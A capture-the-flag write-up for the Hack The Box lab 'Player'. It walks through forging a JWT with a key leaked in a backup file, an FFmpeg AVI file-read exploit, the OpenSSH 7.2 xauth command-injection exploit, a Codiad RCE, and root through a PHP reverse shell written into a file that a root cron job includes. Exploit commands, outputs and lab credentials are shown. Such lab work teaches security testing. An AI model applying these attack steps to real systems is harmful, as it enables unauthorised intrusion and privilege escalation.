Player was a fun 40 point box created by MrR3boot . It started out with heavy vhost enumeration which leads you to some backup file artifacts that expose an access code and passphrase, we then use the code and passphrase to generate a JWT and access an avi
file upload application. An avi
file exploit is then used to read sensitive files and get SSH credentials for an XAUTH
SSH exploit with which you can read local files to get user.
We then read more sensitive files to get credentials for the dev vhost and use the creds in a Codiad
exploit which returns a shell as www-data
, from there you run pspy and exploit a process running with root privileges to return a shell and finally get root.
User.txt
Nmap
We start the box with a quick TCP nmap scan:
1
2
3
4
5
6
7
8
9
10
11
12
13
# ports=$(nmap -sT -p- --min-rate=5000 10.10.10.145 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) &&
nmap -sV -sC -T4 -p$ports 10.10.10.145
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 d7:30:db:b9:a0:4c:79:94:78:38:b3:43:a2:50:55:81 (DSA)
| 2048 37:2b:e4:31:ee:a6:49:0d:9f:e7:e6:01:e6:3e:0a:66 (RSA)
| 256 0c:6c:05:ed:ad:f1:75:e8:02:e4:d2:27:3e:3a:19:8f (ECDSA)
|_ 256 11:b8:db:f3:cc:29:08:4a:49:ce:bf:91:73:40:a2:80 (ED25519)
80/tcp open http Apache httpd 2.4.7
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: 403 Forbidden
6686/tcp open ssh OpenSSH 7.2 (protocol 2.0)
HTTP
Checking out http:// player.htb/
we come across a blank page with a 403 Forbidden error
:

Running Gobuster against the domain we can see we get a hit for /launcher
:
1
2
3
4
5
# gobuster dir -u http://player.htb -w /usr/share/wordlists/dirb/big.txt -t 40
/.htpasswd (Status: 403)
/.htaccess (Status: 403)
/launcher (Status: 301)
/server-status (Status: 403)
Navigating to http://player.htb/launcher
takes us to the following page:

Checking the source code you can see the form is making a request to the PHP script dee8dc8a47256c64630d803a4c40786c.php
:

Mechanize
I used the Python Mechanize module to see exactly what the form was doing behind the scenes:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
>>> import mechanize
>>> br = mechanize.Browser()
>>>
>>> br.open('http://player.htb/launcher/')
<response_seek_wrapper at 0x7fb5da5eed70 whose wrapped object =
<closeable_response at 0x7fb5da5ee8c0 whose fp = <socket._fileobject
object at 0x7fb5daeb53d0>>>
>>>
>>> for form in br.forms():
... print form
...
<GET http://player.htb/launcher/dee8dc8a47256c64630d803a4c40786c.php
application/x-www-form-urlencoded
<TextControl(<None>=)>
<SubmitControl(<None>=Send) (readonly)>>
>>> br.close()
The form is making a GET request to dee8dc8a47256c64630d803a4c40786c.php
with a TextControl
input field with no defined parameter. Since the message body in a GET request is not exactly semantic to the request I moved on from here and continued my enumeration.
Wfuzz
The next step in my enumeration was using Wfuzz to find any vhosts:
1
2
3
4
5
# wfuzz -w /root/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u player.htb -H "Host:FUZZ.player.htb" --hc=403
...
000019: C=200 86 L 229 W 5243 Ch "dev"
000067: C=200 63 L 180 W 1470 Ch "staging"
000070: C=200 259 L 714 W 9513 Ch "chat"
You can see we have three hits for dev
, staging
, and chat
. I then added each one into the player.htb
entry in my /etc/hosts
file like so:
1
2
3
127.0.0.1 localhost
127.0.1.1 kali
10.10.10.145 player.htb dev.player.htb staging.player.htb chat.player.htb
dev.player.htb
Checking out http://dev.player.htb
you’ll come across a login page:

chat.player.htb
Navigating to http://chat.player.htb
leads us to a group chat page for the staff of the organisation:

Besides the number of potential usernames, the main entry in the group chat that caught my attention was the following message:
They mentioned our staging exposing some sensitive files and main domain exposing source code which allowing them to access our product before release. Currently our team working on the fix.
With this in mind I turned my attention to the staging vhost.
staging.player.htb
Checking out http://staging.player.htb
you`ll see the following page:

Clicking on the Contact Core Team
button leads us to http://staging.player.htb/contact.html. This page stood out as it takes user supplied input in the Email ID
and Message
fields.
I used the Python terminal and the mechanize module again to list the form parameters:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
>>> import mechanize
>>>
>>> br = mechanize.Browser()
>>>
>>> br.open('http://staging.player.htb/contact.html')
<response_seek_wrapper at 0x7fa668562e60 whose wrapped object =
<closeable_response at 0x7fa668562140 whose fp = <socket._fileobject object
at 0x7fa668671750>>>
>>>
>>> for form in br.forms():
... print form
...
<GET http://staging.player.htb/contact.php application/x-www-form-
urlencoded
<TextControl(firstname=)>
<TextareaControl(subject=)>
<SubmitControl(<None>=Submit) (readonly)>>
>>>
>>> br.close()
We can see the form is issuing a GET request to contact.php
.
contact.php
When attempting to browse to http://staging.player.htb/contact.php
you’ll notice the browser flash some text and then hit us with the 501.php
page:

Checking out what’s happening in burp suite when we try to visit the contact.php
page we can see some interesting information being rendered before we’re redirected to 501.php
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
array(3) {
[0]=>
array(4) {
["file"]=>
string(28) "/var/www/staging/contact.php"
["line"]=>
int(6)
["function"]=>
string(1) "c"
["args"]=>
array(1) {
[0]=>
&string(9) "Cleveland"
}
}
[1]=>
array(4) {
["file"]=>
string(28) "/var/www/staging/contact.php"
["line"]=>
int(3)
["function"]=>
string(1) "b"
["args"]=>
array(1) {
[0]=>
&string(5) "Glenn"
}
}
[2]=>
array(4) {
["file"]=>
string(28) "/var/www/staging/contact.php"
["line"]=>
int(11)
["function"]=>
string(1) "a"
["args"]=>
array(1) {
[0]=>
&string(5) "Peter"
}
}
}
Database connection failed.<html><br />Unknown variable user in
/var/www/backup/service_config fatal error in /var/www/staging/fix.php
We appear to have found the sensitive files being referenced in the message at http:// chat.player.htb
.
The main part that caught my eye in the output was the bottom block of text that mentioned the path: /var/www/backup/service_config
. I found the fact that /backup/
had it’s own directory in /var/www/
but didn’t have a vhost like /staging/
a bit peculiar.
With this in mind I referred back to one of the http:// chat.player.htb
messages about the main domain, it was ‘exposing source code which allowed them to access our product before release’.
I then began to focus on the main domain, http://player.htb/launcher/
. The reference to backup
in the leaked information potentially indicated that the company was performing backups, or that their text editors may be automatically performing their backups for them:
Various text editors automatically save backups of each file the user chooses to open with file names such as: file.ext~, #file.ext#, ~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp and file.old. If the user edits a PHP file in the web root, the backup that is created will not be parsed by the PHP engine upon request, but will instead be returned to the remote attacker unmodified. Thus, the script’s source code is disclosed. - Rapid7
Backups
I downloaded and used the tool bfac which is available on GitHub. Bfac, the ‘Backup File Artifacts Checker’, can be used to find files left during backup processes. Testing different files on the main domain, I eventually got a hit:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# bfac --url http://player.htb/launcher/dee8dc8a47256c64630d803a4c40786c.php
----------------------------------------------------------------------
_____ _____ _____ _____
| __ | __| _ | |
| __ -| __| | --|
|_____|__| |__|__|_____|
-:::Backup File Artifacts Checker:::-
Version: 1.4
Advanced Backup-File Artifacts Testing for Web-Applications
Author: Mazin Ahmed | <mazin AT mazinahmed DOT net> | @mazen160
----------------------------------------------------------------------
[i] URL: http://player.htb/launcher/dee8dc8a47256c64630d803a4c40786c.php
[$] Discovered: -> {http://player.htb/launcher/dee8dc8a47256c64630d803a4c40786c.php~} (Response-Code: 200 | Content-Length: 742)
[i] Findings:
http://player.htb/launcher/dee8dc8a47256c64630d803a4c40786c.php~ (200) | (Content-Length: 742)
[i] Finished performing scan
We see it has successfully found the dee8dc8a47256c64630d803a4c40786c.php~
backup file on the main http://player.htb
domain.
Code Analysis
Sending a GET
request with curl
to the file:
1
# curl -X GET http://player.htb/launcher/dee8dc8a47256c64630d803a4c40786c.php~
We receive the following PHP code in response:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
require 'vendor/autoload.php';
use \Firebase\JWT\JWT;
if(isset($_COOKIE["access"]))
{
$key = '_S0_R@nd0m_P@ss_';
$decoded = JWT::decode($_COOKIE["access"], base64_decode(strtr($key, '-_', '+/')), ['HS256']);
if($decoded->access_code === "0E76658526655756207688271159624026011393")
{
header("Location: 7F2xxxxxxxxxxxxx/");
}
else
{
header("Location: index.html");
}
}
else
{
$token_payload = [
'project' => 'PlayBuff',
'access_code' => 'C0B137FE2D792459F26FF763CCE44574A5B5AB03'
];
$key = '_S0_R@nd0m_P@ss_';
$jwt = JWT::encode($token_payload, base64_decode(strtr($key, '-_', '+/')), 'HS256');
$cookiename = 'access';
setcookie('access',$jwt, time() + (86400 * 30), "/");
header("Location: index.html");
}
?>
The code is basically saying if the cookie access
uses the key _S0_R@nd0m_P@ss_
, is base64 encoded, and the access_code value is equal to 0E76658526655756207688271159624026011393
, then redirect us to the secret path 7F2xxxxxxxxxxxxx
. Else, it sends us back to the index.html
page.
Our access cookie at current will look like the bottom else statement, with access_code equal to C0B137FE2D792459F26FF763CCE44574A5B5AB03
, base64 encoded, and using the key _S0_R@nd0m_P@ss_
.
In order to get to the secret path we need to create a new JWT (JSON Web Token) with the correct values, add it to our request to http://player.htb/launcher/dee8dc8a47256c64630d803a4c40786c.php
and we should get redirected to the secret path.
JWT
JSON Web Tokens are an open, industry standard RFC 7519 method for representing claims securely between two parties. - jwt.io
The site jwt.io can be used to decode, verify, and generate JWT’s. If we intercept a request with burp to http://player.htb/launcher/
we can see the access cookie present in the request headers:

Chucking the cookie into the jwt.io
debugger we can see the decoded value:

We can see the access_code for the current cookie corresponds to the bottom one in the final else statement of the PHP code.
Now let’s add the 0E76658526655756207688271159624026011393
access_code, the key, and select the secret base64 encoded
box:

Secret Path
Now that we’ve successfully generated a new JWT we need to use it in order for the PHP code to process it, and subsequently send us to the secret path.
First, we need to intercept a request to http://player.htb/launcher/dee8dc8a47256c64630d803a4c40786c.php
in burp. You then send the request to repeater with Ctrl+r
, add our new token in place of the old access token, click send and we’ll see the following 302 Found
response with the secret path included in the Location
header:

The secret path is 7F2dcsSdZo6nj3SNMTQ1
.
PlayBuff
Checking out http://player.htb/launcher/7F2dcsSdZo6nj3SNMTQ1/
we’re presented with the following page:

It appears to be the new product mentioned earlier in the chat vhost. The application contains a file upload facility so I uploaded a basic PHP web shell to see how the application responded and the file uploaded successfully.
I was then presented with the following message:

Clicking on the Buffed Media
link you’ll be taken to the uploads directory where our uploaded file is placed. I noticed that the file was given a random 10 digit number as a name and had an .avi file extension appended:

AVI
AVI stands for Audio Video Interleave, files in this format can hold both video and audio data. I Googled avi file exploit
and PayloadsAllTheThings CVE Ffmpeg HLS was one of the top results.
FFmpeg is an open source software used for processing audio and video formats. You can use a malicious HLS playlist inside an AVI video to read arbitrary files. - PayloadsAllTheThings
I found this exploit to work better than the one from PayloadsAllTheThings, the help menu is shown below:
1
2
3
4
5
6
7
8
9
# python3 avi.py -h
usage: AVI+M3U+XBIN ffmpeg exploit generator [-h] filename output_avi
positional arguments:
filename filename to be read from the server (prefix it with "file://")
output_avi where to save the avi
optional arguments:
-h, --help show this help message and exit
The first payload I created was for the /etc/passwd
file:
1
# python3 avi.py file:///etc/passwd passwd.avi
I then uploaded the passwd.avi
file to the PlayBuff web application, clicked the Buffed Media
button and downloaded and ran the new avi file generated by the application. The result is shown below:

You can see the contents of /etc/passwd
, more specifically the telegen user with a UID of 1000 and the home directory path /home/telegen
.
I then took the same approach with some of the files I’d encountered earlier on in my enumeration. The /var/www/backup/service_config
file contained some valuable information:

You can see a set of credentials for the telegen
user. The crednetials are telegen / d-bC|jC!2uepS/w
.
SSH
The credentials failed on the http://dev.player.htb
login page and on the lower SSH port - 22
. They did work on the high SSH port - 6686
- but commands were heavily restricted:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# ssh telegen@player.htb -p 6686
telegen@player.htb's password: d-bC|jC!2uepS/w
Last login: Tue Apr 30 18:40:13 2019 from 192.168.0.104
Environment:
USER=telegen
LOGNAME=telegen
HOME=/home/telegen
PATH=/usr/bin:/bin:/usr/sbin:/sbin:/usr/local/bin
MAIL=/var/mail/telegen
SHELL=/usr/bin/lshell
SSH_CLIENT=10.10.14.7 43770 6686
SSH_CONNECTION=10.10.14.7 43770 10.10.10.145 6686
SSH_TTY=/dev/pts/0
TERM=screen
========= PlayBuff ==========
Welcome to Staging Environment
telegen:~$ whoami
*** forbidden command: whoami
telegen:~$ id
*** forbidden command: id
telegen:~$ ls
*** forbidden command: ls
telegen:~$ cd
*** forbidden command: cd
telegen:~$
XAUTH SSH Exploit
After trying and failing to bypass the command restrictions I came across an (Authenticated) xauth Command Injection
Python exploit on searchsploit
:
1
2
3
4
5
# searchsploit OpenSSH 7.2
------------------------------------------------------------------------------------ -----------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
OpenSSH 7.2p1 - (Authenticated) xauth Command Injection | exploits/multiple/remote/39569.py
I downloaded the exploit and renamed it to xauth.py
:
1
2
3
4
5
6
7
8
9
10
# searchsploit -m 39569
Exploit: OpenSSH 7.2p1 - (Authenticated) xauth Command Injection
URL: https://www.exploit-db.com/exploits/39569
Path: /usr/share/exploitdb/exploits/multiple/remote/39569.py
File Type: troff or preprocessor input, ASCII text, with very long lines,
with CRLF line terminators
Copied to: /root/39569.py
# mv 39569.py xauth.py
I then ran the script with the following parameters:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# python 39569.py player.htb 6686 telegen 'd-bC|jC!2uepS/w'
INFO:__main__:connecting to: telegen:d-bC|jC!2uepS/w@player.htb:6686
INFO:__main__:connected!
INFO:__main__:
Available commands:
.info
.readfile <path>
.writefile <path> <data>
.exit .quit
<any xauth command or type help>
#> .info
DEBUG:__main__:auth_cookie: '\ninfo'
DEBUG:__main__:dummy exec returned: None
INFO:__main__:Authority file: /home/telegen/.Xauthority
File new: yes
File locked: no
Number of entries: 0
Changes honored: yes
Changes made: no
Current input: (stdin):3
Environment:
USER=telegen
LOGNAME=telegen
HOME=/home/telegen
PATH=/usr/bin:/bin:/usr/sbin:/sbin:/usr/local/bin
MAIL=/var/mail/telegen
SHELL=/usr/bin/lshell
SSH_CLIENT=10.10.14.29 45440 6686
SSH_CONNECTION=10.10.14.29 45440 10.10.10.145 6686
DISPLAY=localhost:10.0
Flag
As we can read and write files with the exploit, I then attempted to read the user flag and was successful:
1
2
3
4
#> .readfile /home/telegen/user.txt
DEBUG:__main__:auth_cookie: 'xxxx\nsource /home/telegen/user.txt\n'
DEBUG:__main__:dummy exec returned: None
INFO:__main__:30e47a...
Root.txt
Fix.php
Going back to our earlier enumeration via the .avi
files, fix.php
was one of the files I attempted to read but received no output in the video response.
However, using the .readfile /var/www/staging/fix.php
command we’re able to read the file and can see the following credentials commented out:

The credentials are: peter / CQXpm\z)G5D#%S$y=
.
dev.player.htb
Peter’s credentials allow you to log into http://dev.player.htb
, you’re presented with a fairly bland page. I then clicked on the right side tab and onto the help button:

This sent me to the Codiad wiki page on GitHub:

Codiad
Codiad is an open source, web-based, cloud IDE and code editor with minimal footprint and requirements. - codiad.com
A quick Google search for Codiad exploit
and you’ll come across a Codiad-Remote-Code-Execution-Exploit on GitHub. As Peter’s password contained some awkward bash characters, I hard-coded the credentials into the exploit script:

I used tmux to split my terminal twice horizontally, followed the author’s instructions and the exploit ran first time no problem and I received a shell as www-data
:

www-data to root
After some basic manual enumeration I decided to run pspy. Pspy is a tool available on GitHub that allows you to monitor Linux processes without root permissions.
The goal being that if there’s a vulnerable process running with elevated privileges we can try and exploit said process, in an attempt to gain the privileges of the elevated user to whom that process belongs.
Pspy Process Analysis
After downloading the pspy32
binary from GitHub I uploaded it to the /tmp
directory with wget
. After giving the binary executable permissions I ran it and observed the output.
Pspy does a great job at labelling the UID
, time, and date of each process it picks up. You can see below that a PHP script is running with root privileges - UID=0
:

Letting pspy continue to run you’ll see the script is executing roughly every 30 seconds.
Code Analysis
The contents of /var/lib/playbuff/buff.php
is shown below:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
include("/var/www/html/launcher/dee8dc8a47256c64630d803a4c40786g.php");
class playBuff
{
public $logFile="/var/log/playbuff/logs.txt";
public $logData="Updated";
public function __wakeup()
{
file_put_contents(__DIR__."/".$this->logFile,$this->logData);
}
}
$buff = new playBuff();
$serialbuff = serialize($buff);
$data = file_get_contents("/var/lib/playbuff/merge.log");
if(unserialize($data))
{
$update = file_get_contents("/var/lib/playbuff/logs.txt");
$query = mysqli_query($conn, "update stats set status='$update' where id=1");
if($query)
{
echo 'Update Success with serialized logs!';
}
}
else
{
file_put_contents("/var/lib/playbuff/merge.log","no issues yet");
$update = file_get_contents("/var/lib/playbuff/logs.txt");
$query = mysqli_query($conn, "update stats set status='$update' where id=1");
if($query)
{
echo 'Update Success!';
}
}
?>
Right away you can see the code is using the PHP include()
statement on the /var/www/html/launcher/dee8dc8a47256c64630d803a4c40786g.php
file. As we’re www-data
we have read and write permissions on that specific file:

The plan of action here is to replace the contents of the file being called via include()
with a PHP reverse shell. The /var/lib/playbuff/buff.php
script will then be executed again as root, our PHP reverse shell will be included and subsequently run with root permissions sending us a reverse shell.
Root Shell
In order to take advantage of this, I first input my IP and desired port number (443) into pentestmonkey’s php-reverse-shell. After uploading the shell with wget
I then overwrote the contents of the included file with that of the PHP shell:
1
$ cat shell.php > /var/www/html/launcher/dee8dc8a47256c64630d803a4c40786g.php
Now that /var/www/html/launcher/dee8dc8a47256c64630d803a4c40786g.php
contains the PHP reverse shell code, all that needed to be done was setting up a netcat listener on the desired port – 443
– and waiting for the process to execute again so we receive a shell as root.
Flag
After a very short wait a root shell is returned and you can simply cat
the root flag:
